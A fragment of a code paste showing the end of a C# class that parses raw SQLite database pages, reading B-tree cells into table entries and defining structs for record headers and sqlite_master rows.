  800. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  801. new decimal(num4))), (int)_fieldArray[k].size);
  802. }
  803. else
  804. {
  805. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  806. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  807. new decimal(num4))), (int)_fieldArray[k].size);
  808. }
  809. else
  810. table_entries[length + i].content[k] =
  811. Conversions.ToString(
  812. ConvertToInteger(
  813. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  814. new decimal(num4))), (int)_fieldArray[k].size));
  815. num4 += (int)_fieldArray[k].size;
  816. }
  817. }
  818. }
  819. else if (db_bytes[(int)Offset] == 5)
  820. {
  821. var num14 = Convert.ToUInt16(
  822. decimal.Subtract(
  823. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  824. decimal.One));
  825. int num18 = num14;
  826. for (var m = 0; m <= num18; m++)
  827. {
  828. var num13 = (ushort)ConvertToInteger(
  829. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
  830. ReadTableFromOffset(Convert.ToUInt64(
  831. decimal.Multiply(
  832. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One),
  833. new decimal(page_size))));
  834. }
  835. ReadTableFromOffset(Convert.ToUInt64(
  836. decimal.Multiply(
  837. decimal.Subtract(
  838. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  839. decimal.One), new decimal(page_size))));
  840. }
  841. return true;
  842. }
  843.  
  844. [StructLayout(LayoutKind.Sequential)]
  845. private struct record_header_field
  846. {
  847. public long size;
  848. public long type;
  849. }
  850.  
  851. [StructLayout(LayoutKind.Sequential)]
  852. private struct sqlite_master_entry
  853. {
  854. public long row_id;
  855. public string item_type;
  856. public string item_name;
  857. public readonly string astable_name;
  858. public long root_num;
  859. public string sql_statement;
  860. }
  861.  
  862. [StructLayout(LayoutKind.Sequential)]
  863. private struct table_entry
  864. {
  865. public long row_id;
  866. public string[] content;
  867. }
  868. }
  869. }
  870. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement